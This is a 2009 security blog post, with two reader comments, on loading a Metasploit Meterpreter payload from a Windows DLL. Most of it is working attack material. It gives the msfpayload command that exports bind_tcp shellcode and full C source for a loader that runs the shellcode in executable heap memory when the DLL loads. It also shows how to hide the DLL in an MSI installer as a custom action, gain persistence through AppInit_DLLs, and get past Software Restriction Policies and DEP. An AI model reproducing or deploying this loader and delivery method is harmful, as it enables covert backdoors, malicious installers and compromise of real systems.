Back to Top

Monday, January 12, 2009

Loading the Meterpreter in a DLL

After ranting about Metasploit I played around a little bit and tried out a little and here a part of what I found:

Some times it may be useful to load the Meterpreter (or any payload in fact) as a DLL. Two scenarios I can think of:

  • Software Restriction Policies (and many other whitelisting products) don't filter DLLs (even though, they probably can be configured - SRP can be for example), so it might be useful to get in and execute the code from a DLL.
  • It may be interesting to load it in a MSI.

Anyway, first I tried the easy way: generate an executable and patch it as a DLL with a short pefile script:


import pefile
pe = pefile.PE("runme.exe")
pe.FILE_HEADER.Characteristics += 0x2000
pe.write(filename="loadme.dll")

This works... With a couple quite problematic shortcomings:

  • The PE file generated by msfpayload is based at 0x400000 and contains no relocation information, making it quite unlikely that it can be loaded in any real application...
  • And second: the launching of the shellcode is done from what is the "DllMain", resulting in the fact that the thread which loads the DLL will go in never ever land and won't be heard of again (with less nonsense: it will execute the shellcode and won't return from it, which can lead to things like freezing GUI / application if it is loaded from the main thread).

The conclusion is that a custom DLL written in C is needed. Fortunately it is quite easy to write such a thing. For this example I use the LCC-Win32 compiler because it is a nice and slim one, but you can use anything (like GCC, Watcom C - which is also free BTW - or even Visual C++).

First, export the shellcode:

./msfpayload windows/meterpreter/bind_tcp C > foo.txt

You should see something like the following in the output file:


unsigned char buf[] =

"\xfc\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b"

...

Now it is time to create the project. The full source code is below (I omitted the actual payload code to shorted the post a little:


#include 
#include 

#ifdef __cplusplus
extern "C" DWORD WINAPI __declspec(dllexport) doNothingFunc(HANDLE hInstaller);
#endif

unsigned char buf[] =
"\xfc\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b"
...;

DWORD WINAPI __declspec(dllexport) doNothingFunc(HANDLE hInstaller) {
 // we have done nothing successfully :-)
 MessageBox(NULL, "Here!", "Here!", MB_OK + MB_SERVICE_NOTIFICATION);
 return ERROR_SUCCESS;
}

DWORD WINAPI startShellcode(LPVOID lpParameter) {
 DWORD oldProtect;
 DWORD (*shellcode)(void);

 HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 2*sizeof(buf));
 if (NULL == hHeap) return GetLastError();
 void *shellCodeCopy = HeapAlloc(hHeap, 0, sizeof(buf));
 if (NULL == shellCodeCopy) return GetLastError();

 memcpy(shellCodeCopy, buf, sizeof(buf));
 VirtualProtect(shellCodeCopy, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
 shellcode = shellCodeCopy;
 return shellcode();
}



BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved) {
 if (DLL_PROCESS_ATTACH == fdwReason) {
  CreateThread(NULL, 0, startShellcode, NULL, 0, NULL);
  Sleep(500);
 }

    return TRUE;

}

A few remarks about the source code:

  • The modus operandi is the following: as soon as the DLL is loaded a new thread is spawned. This thread copies the shellcode to a newly allocated memory block and jumps to it. This means that you don't need to actually call functions from the DLL to start it. Also, this means that the thread loading the DLL is not blocked.
  • The zone where the shellcode is copied is marked properly with the execution attribute, this means that it will work even with NX/DEP enabled (because we're telling the OS that we do want to execute code from the given memory pages)
  • Casting the pointer to the shellcode to a function pointer and calling it trough that was necessary because LCC doesn't seem to support inline assembly statements. As a sideeffect this code is also more portable (because it doesn't have to account for the Intel vs. AT&T assembly syntax differences)
  • If you are compiling this LCC, you need to explicitly disable the "name mangling" for the exports to have the correct name (otherwise it will be named like "_doNothingFunc@4"). You can do this, go to Project -> Configuration -> Linker and check the "Do not include underscores in the dll exports" option.

Now, how can you load this dll?

  • Via rundll32 (for testing): rundll32 mdll.dll,doNothingFunc 123
  • Including it in an install kit. You need to add lines similar to the following to the WiX script previously discussed:
    
    <Binary Id="SampleDllCa" SourceFile="/pefile/mdll/lcc/msdll.dll" />
    
    <CustomAction Id="Meterpreter" BinaryKey="SampleDllCa" DllEntry="doNothingFunc" />
    
    <InstallExecuteSequence>
      <Custom Action="Meterpreter" Sequence='1'/>
    </InstallExecuteSequence>
    
    
  • Using the AppInit_DLLS registry key. Contrary with what the linked documentation says, this works up to Windows 2k3. In Vista they changed it to LoadAppInit_DLLs with stricter ACLs (thanks to Raymond Chen for the link). One sideeffect is that the DLL is loaded every application, so be prepared to get a bunch of connections if you are using the connect-back payload.
  • Importing the DLL from a macro. You can also check out Didier Steven's post about this topic.

One thing to keep in mind is that the process which hosts the DLL might end quickly, so something like this script to automatically migrate to a new process should be taken into consideration.

Have fun and stay safe!

Update: the same MSI is executed both on installing and uninstalling the product, so the DLL does have a second chance to run.

2 comments:

  1. Anonymous5:08 PM

    hi great post! but having problems compiling with mingw ...any suggestion btw im crap at C lol


    test.c: In function âstartShellcodeâ:
    test.c:108: error: âHEAP_CREATE_ENABLE_EXECUTEâ undeclared (first use in this function)
    test.c:108: error: (Each undeclared identifier is reported only once
    test.c:108: error: for each function it appears in.)

    ReplyDelete
    Replies
    1. I'm no C expert myself, but here I go nevertheless: try setting WINVER / some of the other constants as described here: http://www.mingw.org/wiki/Use_more_recent_defined_functions (I suspect that HEAP_CREATE_ENABLE_EXECUTE is only available for newer Windows versions).

      Delete